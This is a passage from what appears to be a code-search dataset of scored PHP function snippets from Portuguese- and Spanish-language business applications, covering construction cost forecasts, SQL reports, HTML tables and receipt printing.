ditdatainicio AS inicio,\n ditdatatermino AS fim\n FROM\n obras2.detalheitem\n WHERE\n icoid = {$itemComposicao['id']} AND \n ditstatus = 'A' AND \n NOT ditidpai IS NULL;\";\n $dadosDetalheItem = $this->carregar($sqlDetalheItem);\n $dadosDetalheItem = is_array($dadosDetalheItem) ? $dadosDetalheItem : array();\n\n // itens composicao sem filhos\n $sqlDetalheItemSemFilho = \"SELECT\n ditid AS id,\n ditvalor AS valor,\n ditdatainicio AS inicio,\n ditdatatermino AS fim\n FROM\n obras2.detalheitem\n WHERE\n icoid = {$itemComposicao['id']} AND ditstatus = 'A'\n AND ditidpai IS NULL\n AND ditid NOT IN (SELECT DISTINCT\n COALESCE(ditidpai, -1)\n FROM\n obras2.detalheitem\n WHERE\n icoid = {$itemComposicao['id']} AND ditstatus = 'A');\";\n\n $dadosDetalheItemSemFilho = $this->carregar($sqlDetalheItemSemFilho);\n $dadosDetalheItemSemFilho = is_array($dadosDetalheItemSemFilho) ? $dadosDetalheItemSemFilho : array();\n $dadosDetalheItem = array_merge($dadosDetalheItem, $dadosDetalheItemSemFilho);\n\n $subtrairDetalheItem = 0;\n // se itens composição possui detalhe item\n if( is_array($dadosDetalheItem) ){\n foreach ($dadosDetalheItem as $detalheItem){\n $subtrairDetalheItem += $detalheItem['valor'];\n\n $sqlPrevisaoDetalheItem = \"SELECT\n pdiid AS id,\n pdivalor AS valor,\n pdimes AS data\n FROM\n obras2.previsaodetalheitem\n WHERE\n ditid = {$detalheItem['id']} AND pdistatus = 'A';\";\n $dadosPrevisaoDetalheItem = $this->carregar($sqlPrevisaoDetalheItem);\n\n $subtrairPrevisaoDetalheItem = 0;\n // se detalhe item possui previsao\n if( is_array($dadosPrevisaoDetalheItem) ){\n foreach ($dadosPrevisaoDetalheItem as $previsaoDetalheItem){\n list($ano, $mes) = explode('-', $previsaoDetalheItem['data']);\n $ano = intval($ano);\n $mes = intval($mes);\n if( !isset($arValoresMensal[$ano][$mes]) )\n $arValoresMensal[$ano][$mes] = 0;\n $arValoresMensal[$ano][$mes] += $previsaoDetalheItem['valor'];\n $subtrairPrevisaoDetalheItem += $previsaoDetalheItem['valor'];\n }\n } // FIM se detalhe item possui previsao\n // processa detalhe item\n $arValoresMensal = $this->_processaValorPorMes($arValoresMensal, $detalheItem['inicio'], $detalheItem['fim'], $detalheItem['valor'], $subtrairPrevisaoDetalheItem);\n\n }\n } // FIM se itens composição possui detalhe item\n\n // processa item composicao\n $arValoresMensal = $this->_processaValorPorMes($arValoresMensal, $itemComposicao['inicio'], $itemComposicao['fim'], $itemComposicao['valor'], $subtrairDetalheItem);\n }\n } // FIM se estrutura possui itens composição\n\n // processa estrutura obra\n// $arValoresMensal = $this->_processaValorPorMes($arValoresMensal, $estruturaObra['inicio'], $estruturaObra['fim'], $estruturaObra['valor'], $subtrairItensComposicao);\n\n// }\n// } // FIM se obra possui estrutura\n\n // processa obra\n $arValoresMensal = $this->_processaValorPorMes($arValoresMensal, $dadosObra['inicio'], $dadosObra['fim'], $dadosObra['valor'], $subtrairItensComposicao);\n// $arValoresMensal = $this->_processaValorPorMes($arValoresMensal, $dadosObra['inicio'], $dadosObra['fim'], $dadosObra['valor'], $subtrairEstruturasObra);\n // retira as posições com valores zero\n foreach ($arValoresMensal as $ano => $valorPorAno){\n foreach ($valorPorAno as $mes => $valorPorMes){\n if( $valorPorMes <= 0 || $ano == 0 || $mes == 0){\n unset($arValoresMensal[$ano][$mes]);\n }\n }\n }\n\n $this->deleteByObra($obrid);\n\n foreach ($arValoresMensal as $ano => $valoresAno){\n foreach ($valoresAno as $mes => $valorMes){\n $arDados = array();\n $arDados['obrid'] = $obrid;\n $arDados['vmovalor'] = $valorMes;\n $arDados['vmomes'] = $mes;\n $arDados['vmoano'] = $ano;\n\n $this->popularDadosObjeto($arDados);\n $this->salvar();\n $this->clearDados();\n }\n }\n $this->commit();\n }", "title": "" }, { "docid": "c18b5360a6564f60eb971b6e586df03c", "score": "0.57209593", "text": "public static function cron() {\n $elogic = self::byLogicalId('teleinfo', 'remora');\n if ($elogic->getIsEnable() == 1) {\n $elogic->getTeleinfo();\n }\n $elogic = self::byLogicalId('chauffeeau', 'remora');\n if ($elogic->getIsEnable() == 1) {\n $elogic->getCEStatus();\n }\n self::getStatusAll();\n }", "title": "" }, { "docid": "a7f862011f1972e728191dbff5096ccd", "score": "0.55511165", "text": "static public function ctrRangoFechasVentasCronograma($fechaInicial, $fechaFinal,$valor,$perfil,$valor1,$perfil1){\n\n\t\t$tabla = \"ventas\";\n\n\t\t$respuesta = ModeloVentas::mdlRangoFechasVentasCronograma($tabla, $fechaInicial, $fechaFinal,$valor,$perfil,$valor1,$perfil1);\n\n\t\treturn $respuesta;\n\t\t\n\t}", "title": "" }, { "docid": "4bd55c330f27c1d6edbcd8a6fbbef3d4", "score": "0.55439854", "text": "function actuEstatusGestionInterno()\n\t{\n\t\t$folioc=$this->argumentos[\"wl_folioconsecutivo\"];\n\t\t$sql = \t\" update contra.gestion_interno set estatus=2 where folioconsecutivo=$folioc and estatus=1\t\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\t$this->hayerrorsql($this->connection,\"libera\",$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error en actuEstatusGestionInterno \".$sql.\" error \".pg_last_error($this->connection).\"</error>\"; }\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "958d77540d755f451506428ae209e1fb", "score": "0.549307", "text": "function RevisarServiciosAnterioresSocios($codOrganizacion, $anio, $mes)\n{\n\n\t$orgRepetida = 0;\n\t$sqlServiciosAnteriores = \"select * from fp_asesoria_asistencia_cofinanciamiento where cod_u_organizaciones = \" . $codOrganizacion . \" and year(fecha_reporte) = \" . $anio . \" and month(fecha_reporte) < \" . $mes;\n\t$resServiciosAnteriores = query($sqlServiciosAnteriores);\n\t$numFilasServiciosAnteriores = mysql_num_rows($resServiciosAnteriores);\n\n\tif($numFilasServiciosAnteriores > 0)\n\t\t$orgRepetida = \"repetida\";\n\telse\n\t\t$orgRepetida = \" - \";\n\n\treturn $orgRepetida;\n\n}", "title": "" }, { "docid": "fe43987cc17c45f818bfc027fb3567a3", "score": "0.54898167", "text": "public function existeregistromaestrocajachica() {\n \n }", "title": "" }, { "docid": "97d7e04a285cdf1bb9a2ff70991e1306", "score": "0.54836506", "text": "function verificaOrfaos()\n{\n\tglobal $locaplic,$esquemaadmin;\n\t$arquivos = array();\n\t//\n\t//pega o nome de cada tema\n\t//\n\t$sql = \"select nome_tema,codigo_tema,id_tema from \".$esquemaadmin.\"i3geoadmin_temas \";\n\t$dbh = \"\";\n\tinclude($locaplic.\"/admin/php/conexao.php\");\n\t$q = $dbh->query($sql,PDO::FETCH_ASSOC);\n\t$regs = $q->fetchAll();\n\t$nomes = array();\n\tforeach($regs as $reg){\n\t\tif(!file_exists($locaplic.\"/temas/\".$reg[\"codigo_tema\"].\".map\") && !file_exists($locaplic.\"/temas/\".$reg[\"codigo_tema\"].\".php\")){\n\t\t\t$nomes[] = array(\"nome_tema\"=>$reg[\"nome_tema\"],\"codigo_tema\"=>$reg[\"codigo_tema\"],\"id_tema\"=>$reg[\"id_tema\"]);\n\t\t}\n\t}\n\tsort($nomes);\n\treturn $nomes;\n}", "title": "" }, { "docid": "e51ac905c79a7e79e63c668e43619eea", "score": "0.54811954", "text": "function scan_nfs_duplicidade() {\n $sql = \"SELECT nfs.id_nf \n FROM `nfs` \n INNER JOIN `nfs_num_notas` nnn ON nnn.id_nf_num_nota = nfs.id_nf_num_nota \n WHERE nfs.`ativo` = '1' \n GROUP BY nfs.`id_nf_num_nota` \n HAVING COUNT(nfs.`id_nf_num_nota`) > '1' \";//Se for maior q um é pq tem duplicidade ...\n $campos = bancos::sql($sql);\n if(count($campos) > 3) {// existem 3 que ja tinha ocorrido o problema então deixamos, pq ja estava no cliente\n $mensagem = 'Urgente===>Verificar duplicidade de número de Nota Fiscal => <br>sql abaixo:<br>';\n $mensagem.= $sql;\n ///////////////////////////// Envia email //////////////////////////////\n $destino = '[email protected]';\n $assunto = 'ERRO NO SISTEMA - '.date('d-m-Y H:i:s');\n comunicacao::email('[email protected]', $destino, '', $assunto, $mensagem);\n }\n }", "title": "" }, { "docid": "a16d965f06608e15dd5a8fd9ed08ffa0", "score": "0.54550874", "text": "function RevisarServiciosAnteriores($codOrganizacion, $anio, $mes)\n{\n\n\t$orgRepetida = 0;\n\t$sqlServiciosAnteriores = \"select * from fp_asesoria_asistencia_cofinanciamiento where cod_u_organizaciones = \" . $codOrganizacion . \" and year(fecha_reporte) = \" . $anio . \" and month(fecha_reporte) < \" . $mes;\n\t$resServiciosAnteriores = query($sqlServiciosAnteriores);\n\t$numFilasServiciosAnteriores = mysql_num_rows($resServiciosAnteriores);\n\n\tif($numFilasServiciosAnteriores > 0)\n\t\t$orgRepetida = \"repetida\";\n\telse\n\t\t$orgRepetida = \" - \";\n\n\treturn $orgRepetida;\n\n}", "title": "" }, { "docid": "89a27be88111bf56f70d40f8153e37dd", "score": "0.541918", "text": "public function lista_requerimientos_notificados_servicio($com_id){\n $data['componente'] = $this->model_componente->get_componente($com_id);\n $data['fase']=$this->model_faseetapa->get_fase($data['componente'][0]['pfec_id']);\n $data['mes'] = $this->mes_nombre();\n $data['datos_mes'] = $this->verif_mes;\n $data['titulo']=$this->cabecera_reporte($data['fase'][0]['proy_id'],$data['componente']);\n $data['proyecto']=$this->model_proyecto->get_id_proyecto($data['fase'][0]['proy_id']);\n \n if($data['proyecto'][0]['tp_id']==1){\n $data['titulo_pie']=' MES : '.$data['datos_mes'][2].', COMP.-'.$data['componente'][0]['com_componente'].' - '.$data['proyecto'][0]['proy_nombre'];\n }\n else{\n $data['proyecto'] = $this->model_proyecto->get_datos_proyecto_unidad($data['fase'][0]['proy_id']);\n $data['titulo_pie']=' MES : '.$data['datos_mes'][2].', SERV.-'.$data['componente'][0]['com_componente'].' - '.$data['proyecto'][0]['tipo'].' '.$data['proyecto'][0]['act_descripcion'].' '.$data['proyecto'][0]['abrev'];\n }\n\n $data['monto_pendiente']=$this->montos_pendientes_cpoa_servicio($com_id);\n $data['requerimientos']=$this->mis_notificados_al_mes($com_id); // Lista de Requerimientos a notificar al siguiente mes\n\n $this->load->view('admin/notificacion_poa/reporte_notificacion_servicio', $data);\n }", "title": "" }, { "docid": "5261dca7ae5aa79886c0b250b897a04a", "score": "0.5417013", "text": "function e3g_cron() {\n \n $p4a =& p4a::singleton();\n $db =& p4a_db::singleton();\n\n $sql_text = \n \"SELECT mailing_list, \" .\n \" notifica_apertura, ( notifica_apertura_data = CURDATE() ) AS notifica_apertura_inviata_oggi, \" .\n \" notifica_chiusura, ( notifica_chiusura_data = CURDATE() ) AS notifica_chiusura_inviata_oggi, \" .\n \" notifica_lista_spesa, ( notifica_lista_spesa_data = CURDATE() ) AS notifica_lista_spesa_inviata_oggi, \" .\n \" notifica_mov_cassa, ( notifica_mov_cassa_data = CURDATE() ) AS notifica_mov_cassa_inviata_oggi \" .\n \" FROM _aziende\" .\n \" WHERE prefix = '\" . $p4a->e3g_prefix . \"'\";\n $query = $db->getRow( $sql_text );\n\n// if ( $query[\"mailing_list\"] ) e3g_mailing_list();\n\n if ( $query[\"notifica_apertura\"] and !$query[\"notifica_apertura_inviata_oggi\"] ) \n e3g_notifica_apertura();\n\n if ( $query[\"notifica_chiusura\"] and !$query[\"notifica_chiusura_inviata_oggi\"] ) \n e3g_notifica_chiusura(); \n\n// if ( $query[\"notifica_lista_spesa\"] and !$query[\"notifica_lista_spesa_inviata_oggi\"] ) \n// e3g_notifica_lista_spesa(); \n\n if ( $query[\"notifica_mov_cassa\"] and !$query[\"notifica_mov_cassa_inviata_oggi\"] ) \n e3g_notifica_mov_cassa();\n \n}", "title": "" }, { "docid": "ce11c73bb5b77a3937a9eaa84260f3ec", "score": "0.53492516", "text": "function validaDatosUnicos ()\n\t{\n\t\t$wlctrapredial=$this->argumentos[\"wl_ctapredial\"];\n\t\tif (strlen($wlctrapredial)>0)\n\t\t{\n\t\t$sql = \t\"\tselect count (*) as reg from sicop.propiedades where ctapredial='\".$wlctrapredial.\"';\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>Error al ejecutar qry \".$sql.\" \".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\tif ($row['reg']>0)\n\t\t{\n\t\techo \"<error>La cuenta predial ya existe en la base de datos</error>\";\n\t\t}\n\t\t}\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "11d768b99e2aaa908c358f76c4ff1624", "score": "0.52576625", "text": "function ConsultarVistaFichaTecnicaNotas($Condicion = '') \n { \n\t\tif(!empty($Condicion))\n\t\t{\n\t\t\t$Condicion = ' where '. $Condicion;\n\t\t}\n\t\t\n\t\t/*Creamos una query sencilla*/ \n\t\t$sql = \" select ftn.*, nombreLogin\n FROM FichaTecnicaNotas as ftn \n left join FichaTecnica ft\n on ftn.FichaTecnica_idFichaTecnica = ft.idFichaTecnica\n LEFT JOIN SegLogin as log \n on ftn.SegLogin_idUsuario = log.id \".$Condicion;\n \n // echo $sql;\n\t\t\t\t \n\t\t/*Ejecutamos la query*/ \n\t\t$bd = Db::getInstance();\n\t\t$query = $bd->ejecutar($sql); \n\t\t$datos = array();\n\t\t$i = 0;\n\t\tif ($query)\n\t\t{\n\t\t\t/*Realizamos un bucle para ir obteniendo los resultados */\n\t\t\twhile ($registro = $bd->obtener_fila($query,0))\n\t\t\t{ \n\t\t\t\t$datos[$i] = $registro;\n\t\t\t\t$i++;\n\t\t\t}\n\t\t}\n\t\treturn $datos; \n\t}", "title": "" }, { "docid": "db094701f0a5549d539ca3f735f71394", "score": "0.525323", "text": "function getResponsaveis($empid) {\n \n global $db;\n \n $strSql = \"SELECT \n REPLACE(TO_CHAR(TRIM(u.usucpf)::numeric, '000:000:000-00'),':', '.') AS cpf,\n u.usunome AS nome, \n u.usuemail AS email, \n CASE WHEN u.usufoneddd != '' THEN\n '(' || u.usufoneddd || ') ' || COALESCE(u.usufonenum, '')\n ELSE\n COALESCE(u.usufonenum, '')\n END AS telefone, \n array_to_string(array(select pfldsc from seguranca.perfil where pflcod = ur.pflcod and pflstatus = 'A'),', br') AS usuperfil\n FROM obras2.usuarioresponsabilidade ur\n INNER JOIN seguranca.usuario u on u.usucpf = ur.usucpf\n WHERE \n ur.empid = {$empid}\n and ur.rpustatus = 'A'\";\n $dadosResponsaveis = $db->carregar($strSql);\n\t\t\t\n if ($dadosResponsaveis) {\n $tabelaResponsaveis = \"<table class='tabela' cellSpacing='1' cellPadding='3' align='center'>\";\n $tabelaResponsaveis .= \"<tr>\n <td class='subtitulocentro'>CPF</td>\n <td class='subtitulocentro'>Nome do Responsável</td>\n <td class='subtitulocentro'>E-mail</td>\n <td class='subtitulocentro'>Telefone</td>\n <td class='subtitulocentro'>Perfil</td>\n </tr>\";\n\n for( $i = 0; $i < count($dadosResponsaveis); $i++ ) {\n\n $cor = $i % 2 ? \"#e0e0e0\" : '#ffffff'; \n\n $tabelaResponsaveis .= \"<tr bgcolor='{$cor}'>\n <td align='center'>{$dadosResponsaveis[$i][\"cpf\"]}</td>\n <td align='center'>{$dadosResponsaveis[$i][\"nome\"]}</td>\n <td align='center'>\" . ( $dadosResponsaveis[$i][\"email\"] ? $dadosResponsaveis[$i][\"email\"] : \"Não informado\" ). \"</td>\n <td align='center'>{$dadosResponsaveis[$i][\"telefone\"]}</td>\n <td align='center'>{$dadosResponsaveis[$i][\"usuperfil\"]}</td>\n </tr>\";\n }\n }else{\n $tabelaResponsaveis .= \"<tr>\n <td align='center' colspan='4' style='color:#ee0000'>Não existem responsáveis cadastrados para a obra.</td>\n </tr>\";\n }\n $tabelaResponsaveis .= \"</table>\";\n \n return \"<table class='tabela' cellSpacing='1' cellPadding='3' align='center'>\n <tr>\n <td class='subtitulocentro' colspan='2' height='25px;'>Responsáveis</td>\n </tr>\n <tr>\n <td colspan='2'>$tabelaResponsaveis</td>\n </tr>\n </table>\";\n}", "title": "" }, { "docid": "fdc09d117dc44b6557e2118834344e24", "score": "0.5229628", "text": "function imprimirCancelacionIngreso($id_consulta,$metodo){\n\t\n\tglobal $conexion;\n\t\n\t$sql = \"\n\tSELECT consultas.fecha_hora,clinicas.clinica, usuarios.nombre, pacientes.nombre AS paciente\n\tFROM consultas\n\tJOIN clinicas ON clinicas.id_clinica = consultas.id_clinica\n\tJOIN usuarios ON usuarios.id_usuario = consultas.id_usuario\n\tJOIN pacientes ON pacientes.id_paciente = consultas.id_paciente\n\tWHERE consultas.id_consulta = $id_consulta\";\n\n\t$q = mysql_query($sql);\n\t$datos = @mysql_fetch_assoc($q);\n\t\n\t$sucursal = mb_strtoupper($datos['clinica'],'UTF-8');\n\t$aux = mb_strtoupper($datos['nombre'],'UTF-8');\n\t$paciente = mb_strtoupper($datos['paciente'],'UTF-8');\n\t$fecha_hora = devuelveFechaHora($datos['fecha_hora']);\n\t\n\t\n\t$sql = \"SELECT*FROM ticket\";\t\n\t$q_ticket = mysql_query($sql);\n\t$data = @mysql_fetch_assoc($q_ticket);\n\t\n\t$linea_1 = return_linea($data['linea_1']);\n\t$linea_2 = return_linea($data['linea_2']);\n\t$linea_3 = return_linea($data['linea_3']);\n\t$linea_4 = return_linea($data['linea_4']);\n\t$linea_5 = return_linea($data['linea_5']);\n\t$linea_6 = return_linea($data['linea_6']);\n\t$linea_7 = return_linea($data['linea_7']);\n\t$linea_8 = return_linea($data['linea_8']);\n\t$linea_9 = return_linea($data['linea_9']);\n\t$linea_10 = return_linea($data['linea_10']);\n\t\n\t$footer_1 = return_linea($data['footer_1']);\n\t$footer_2 = return_linea($data['footer_2']);\n\t$footer_3 = return_linea($data['footer_3']);\n\t$footer_4 = return_linea($data['footer_4']);\n\t$footer_5 = return_linea($data['footer_5']);\n\n\n $var.='\n\t $printer = esc_pos_open(\"DENTISXA\", \"ch-latin-2\", false, true); \n\t esc_pos_drawer($printer);\n\t esc_pos_align($printer, \"center\");\n esc_pos_font($printer, \"A\");\n esc_pos_char_width($printer, \"\");\n esc_pos_line($printer, \"***********************************************\");\n esc_pos_line($printer, \"TICKET CANCELADO\");\n esc_pos_line($printer, \"***********************************************\");\n esc_pos_line($printer, \"'.$sucursal.'\");';\n\n $var.=$linea_1;\n $var.=$linea_2;\n $var.=$linea_3;\n $var.=$linea_4;\n $var.=$linea_5;\n $var.=$linea_6;\n $var.=$linea_7;\n $var.=$linea_8;\n $var.=$linea_9;\n $var.=$linea_10;\n \n\n $var.='\n esc_pos_line($printer, \"'.$fecha_hora.'\");\n esc_pos_line($printer, \"FOLIO CANCELADO: '.$id_consulta.'\");\n esc_pos_line($printer, \"DR: '.$aux.'\");\n esc_pos_line($printer, \"PACIENTE: '.$paciente.'\");\n esc_pos_line($printer, \"------------------------------------------------\");\n\t esc_pos_align($printer, \"left\");\t\n esc_pos_line($printer, \"DESCRIPCION CANT UNIT SUBT\");';\n\n\n\t$sql = \"SELECT consultas_tratamientos.cantidad,tratamientos.tratamiento,consultas_tratamientos.precio FROM consultas_tratamientos\n\tJOIN tratamientos ON tratamientos.id_tratamiento = consultas_tratamientos.id_tratamiento\n\tWHERE id_consulta = '$id_consulta'\";\n\t$q = mysql_query($sql);\n\twhile($ft=mysql_fetch_assoc($q)){\n\t\t\n\t\t $producto = $ft['tratamiento']; \t\t \n\t\t $producto = substr($producto,0,20);\n\n\t $c_p = strlen($producto);\n\t\t if($c_p<20){\n\t\t \t$to_p = 20-$c_p;\n\t\t\t switch($to_p){\n\t\t\t case 1: $space0 = \" \"; break;\n\t\t\t case 2: $space0 = \" \"; break;\n\t\t\t case 3: $space0 = \" \"; break;\n\t\t\t case 4: $space0 = \" \"; break;\n\t\t\t case 5: $space0 = \" \"; break;\n\t\t\t case 6: $space0 = \" \"; break;\n\t\t\t case 7: $space0 = \" \"; break;\n\t\t\t case 8: $space0 = \" \"; break;\n\t\t\t case 9: $space0 = \" \"; break;\n\t\t\t case 10: $space0 = \" \"; break;\n\t\t\t case 11: $space0 = \" \"; break;\n\t\t\t case 12: $space0 = \" \"; break;\n\t\t\t case 13: $space0 = \" \"; break;\n\t\t\t case 14: $space0 = \" \"; break;\n \t\t\t case 15: $space0 = \" \"; break;\n\t\t\t case 16: $space0 = \" \"; break;\n\t\t\t case 17: $space0 = \" \"; break;\n\t\t\t case 18: $space0 = \" \"; break;\n\t\t\t case 19: $space0 = \" \"; break;\n\t\t\t case 20: $space0 = \" \"; break;\n\n\t\t\t }\n\t\t }\n\t\t \n\t\t $cantidad = $ft['cantidad'];\n\t\t $precio = $ft['precio'];\n\t\t \n\t\t $total=$ft['cantidad']*$ft['precio']; \n\t\t $g_total+=$total; \n\t\t $total= number_format($total,2, '.', '');\n\t\t \n\t\t\t $prec = strlen($precio);\n\t\t\t $cant = strlen($cantidad);\n\t\t\t $tot = strlen($total);\n\n\t\t\t switch($cant){\n\t\t\t case 1: $space1 = \" \"; break;\n\t\t\t case 2: $space1 = \" \"; break;\n\t\t\t case 3: $space1 = \" \"; break;\n\t\t\t case 4: $space1 = \" \"; break;\n\t\t\t }\n\t\t\t switch($prec){\n\t\t\t case 4: $space2 = \" \"; break;\n\t\t\t case 5: $space2 = \" \"; break;\n\t\t\t case 6: $space2 = \" \"; break;\n\t\t\t case 7: $space2 = \" \"; break;\n\t\t\t case 8: $space2 = \"\"; break;\n\t\t\t }\n\t\t\t switch($tot){\n\t\t\t case 4: $space3 = \" \"; break;\n\t\t\t case 5: $space3 = \" \"; break;\n\t\t\t case 6: $space3 = \" \"; break;\n\t\t\t case 7: $space3 = \" \"; break;\n\t\t\t case 8: $space3 = \" \"; break;\n\t\t\t }\n\t \n\t $var.= 'esc_pos_line($printer, \"'.$producto.$space0.$space1.$cantidad.$space2.$precio.$space3.$total.'\");';\n\t \n\t unset($space0);\n\t }\n\t \n\t $g_total = number_format($g_total,2, '.', '');\n\t \n\t $t = strlen($g_total);\n\t $m = strlen($metodo);\n\n\t switch($t){\n\t case 4: $spacet = \" \"; break;\n\t case 5: $spacet = \" \"; break;\n\t case 6: $spacet = \" \"; break;\n\t case 7: $spacet = \" \"; break;\n\t case 8: $spacet = \" \"; break;\n\t }\n\t \n\t switch($m){\n\t case 4: $spacem = \" \"; break;\n\t case 5: $spacem = \" \"; break;\n\t case 6: $spacem = \" \"; break;\n\t case 7: $spacem = \" \"; break;\n\t case 8: $spacem = \" \"; break;\n\t case 9: $spacem = \" \"; break;\n\t case 10: $spacem = \" \"; break;\n\t case 11: $spacem = \" \"; break;\n\t case 12: $spacem = \" \"; break;\n\t case 13: $spacem = \" \"; break;\n\t }\n\n\t\t\n\t\n\t$var.='\n esc_pos_line($printer, \"------------------------------------------------\");\n esc_pos_align($printer, \"right\");\n\t esc_pos_emphasize($printer,true);\n\t\tesc_pos_line($printer, \"METODO:'.$spacem.$metodo.'\");\n esc_pos_line($printer, \"TOTAL:'.$spacet.$g_total.'\");\n\t esc_pos_emphasize($printer,false);\n esc_pos_line($printer, \"------------------------------------------------\");\n esc_pos_font($printer, \"A\");\n esc_pos_align($printer, \"center\");\n esc_pos_line($printer, \"***********************************************\");\n esc_pos_line($printer, \"TICKET CANCELADO\");\n esc_pos_line($printer, \"***********************************************\");\n esc_pos_align($printer, \"center\");\n esc_pos_line($printer, \"\");';\n\t \n\t $var.=$footer_1;\n\t $var.=$footer_2;\n\t $var.=$footer_3;\n\t $var.=$footer_4;\n\t $var.=$footer_5;\n\t \n $var.='\n esc_pos_line($printer, \"\");\n\t esc_pos_cut($printer); \n esc_pos_close($printer);\n ';\n\n\t return $var;\n\t\n}", "title": "" }, { "docid": "8b4be630902f7a8e0aa6c853113260f3", "score": "0.52257794", "text": "public function montos_pendientes_cpoa_servicio($com_id){\n $tabla='';\n if($this->verif_mes[1]!=1){\n if($this->verif_mes[1]==12){\n $tabla.='Mes Diciembre';\n }\n else{\n $tabla.='\n <div style=\"font-size: 12px;font-family: Arial;height:20px;\">\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n MONTOS PENDIENTES\n </div>';\n\n $tabla.='\n <table style=\"width: 100%;\">\n <tr>\n <td style=\"width: 5%;\"></td>\n <td style=\"width: 95%;\">\n <table border=\"0.2\" cellpadding=\"0\" cellspacing=\"0\" class=\"tabla\" style=\"width:100%;\">\n <thead>\n <tr class=\"modo1\" align=\"center\">\n <th style=\"width:15%;background-color: #1c7368; color: #FFFFFF;height:15px\">MES</th>\n <th style=\"width:10%;background-color: #1c7368; color: #FFFFFF\">NRO DE ITEMS</th>\n <th style=\"width:20%;background-color: #1c7368; color: #FFFFFF\">MONTO NO CERTIFICADO</th>\n </tr>\n </thead>';\n $monto=0;\n for ($i=1; $i <$this->verif_mes[1]; $i++) { \n $monto_mes=$this->mis_requerimientos_al_mes($com_id,$i);\n $mes=$this->model_modificacion->get_mes($i);\n $tabla.='<tr class=\"modo1\">\n <td style=\"width: 15%;\" style=\"height:11px;\">'.$mes[0]['m_descripcion'].'</td>\n <td align=\"right\">'.$monto_mes[1].'</td>\n <td align=\"right\">'.number_format($monto_mes[2], 2, ',', '.').'</td>\n </tr>';\n $monto=$monto+$monto_mes[2];\n }\n $tabla.='\n <tr>\n <td colspan=2 align=\"right\" style=\"height:11px;\"><b>TOTAL</b></td>\n <td align=\"right\"><b>'.number_format($monto, 2, ',', '.').'</b></td>\n </tr>\n </table>\n </td>\n </tr>\n </table>';\n }\n }\n\n return $tabla;\n }", "title": "" }, { "docid": "c1a1fb3755532beccc19ce3bafbe1d75", "score": "0.5222557", "text": "public function utilidad_mes(){\n\n $util_mes = \"select sum(precio_compra * cantidad) as compras,sum(precio_venta *cantidad ) as ventas\n from detalle_venta \n where month(fecha) = MONTH(CURRENT_DATE())\";\n return ejecutarConsulta($util_mes);\n }", "title": "" }, { "docid": "59e57e7899b3c05e06d46924e327adca", "score": "0.52215654", "text": "public function mis_notificados_al_mes($com_id){\n $tabla='';\n $requerimientos=$this->model_notificacion->list_requerimiento_mes($com_id,$this->verif_mes[1]);\n $dato_mes = $this->verif_mes;\n\n $tabla.='<div style=\"font-size: 12px;font-family: Arial;height:20px;\">\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n ITEMS PROGRAMADOS A CERTIFICAR\n </div>';\n $tabla.='<table border=\"0.2\" cellpadding=\"0\" cellspacing=\"0\" class=\"tabla\" style=\"width:100%;\" align=\"center\">\n <thead>\n <tr class=\"modo1\" align=\"center\">\n <th style=\"width:2%;background-color: #1c7368; color: #FFFFFF\">#</th>\n <th style=\"width:5%;background-color: #1c7368; color: #FFFFFF\">COD. ACT.</th>\n <th style=\"width:5%;background-color: #1c7368; color: #FFFFFF\">PARTIDA</th>\n <th style=\"width:56%;background-color: #1c7368; color: #FFFFFF\">DETALLE REQUERIMIENTO</th>\n <th style=\"width:15%;background-color: #1c7368; color: #FFFFFF\">OBSERVACI&Oacute;N</th>\n <th style=\"width:7%;background-color: #1c7368; color: #FFFFFF\">MONTO PROGRAMADO</th>\n </tr>\n </thead>\n <tbody>';\n $nro=0;$sum=0;\n foreach($requerimientos as $pr){\n $verif_cert=$this->model_certificacion->get_mes_certificado($pr['tins_id']);\n if(count($verif_cert)==0){\n $nro++;\n $tabla.=\n '<tr class=\"modo1\">\n <td style=\"width: 2%;\" style=\"height:14px;\" align=\"center\">'.$nro.'</td>\n <td style=\"width: 5%; font-size: 9.5px;\" align=\"center\"><b>'.$pr['prod_cod'].'</b></td>\n <td style=\"width: 5%; font-size: 9.5px;\" align=\"center\"><b>'.$pr['par_codigo'].'</b></td>\n <td style=\"width: 56%;\">'.$pr['ins_detalle'].'</td>\n <td style=\"width: 15%;\">'.$pr['ins_observacion'].'</td>\n <td style=\"width: 7%;\"align=\"right\">'.number_format($pr['ipm_fis'], 2, ',', '.').'</td>\n </tr>';\n $sum=$sum+$pr['ipm_fis'];\n }\n }\n $tabla.=' </tbody>\n <tr>\n <td colspan=5 align=\"right\"><b>TOTAL</b></td>\n <td align=\"right\" style=\"height:11px;\"><b>'.number_format($sum, 2, ',', '.').'</b></td>\n </tr>\n </table>';\n\n return $tabla;\n }", "title": "" }, { "docid": "2682c2830a96a93ef319b5dd9d7409f2", "score": "0.5213313", "text": "public function getItens() {\n\n if ($this->iCodigoSolicitacao != \"\" && count($this->aItens) == 0) {\n\n $oDaoSolicitem = db_utils::getDao(\"solicitem\");\n $sSqlItens = $oDaoSolicitem->sqlItensComValorLancado(null,\"*,\n exists(SELECT 1\n from solicitemregistropreco b\n inner join solicitemvinculo on pc55_solicitempai = b.pc57_itemorigem\n inner join solicitem a on pc55_solicitempai = a.pc11_codigo\n inner join solicita on a.pc11_numero = pc10_numero\n and pc10_solicitacaotipo = 3\n where b.pc57_solicitem = solicitem.pc11_codigo\n ) as item_abertura\",\n \"pc11_seq\",\n \"pc11_numero={$this->iCodigoSolicitacao}\");\n $rsItens = $oDaoSolicitem->sql_record($sSqlItens);\n if ($oDaoSolicitem->numrows > 0) {\n\n for ($iItem = 0; $iItem < $oDaoSolicitem->numrows; $iItem++) {\n\n $oItem = db_utils::fieldsMemory($rsItens, $iItem, false, false, true);\n $oItemSolicitacao = new itemCompilacao($oItem->pc11_codigo);\n $oItemSolicitacao->setAutimatico($oItem->item_abertura==\"t\"?true:false);\n $this->aItens[] = 